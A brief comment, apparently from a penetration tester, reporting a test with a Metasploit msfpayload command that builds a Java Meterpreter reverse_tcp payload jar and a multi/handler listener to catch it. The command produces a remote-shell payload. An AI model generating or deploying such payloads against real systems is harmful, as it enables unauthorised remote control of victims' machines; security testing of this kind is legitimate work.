I tested with:

     ./msfpayload java/meterpreter/reverse_tcp LHOST=<localIP> LPORT=5555 R > ~/Desktop/payload.jar

And a multi/handler job in msfconsole.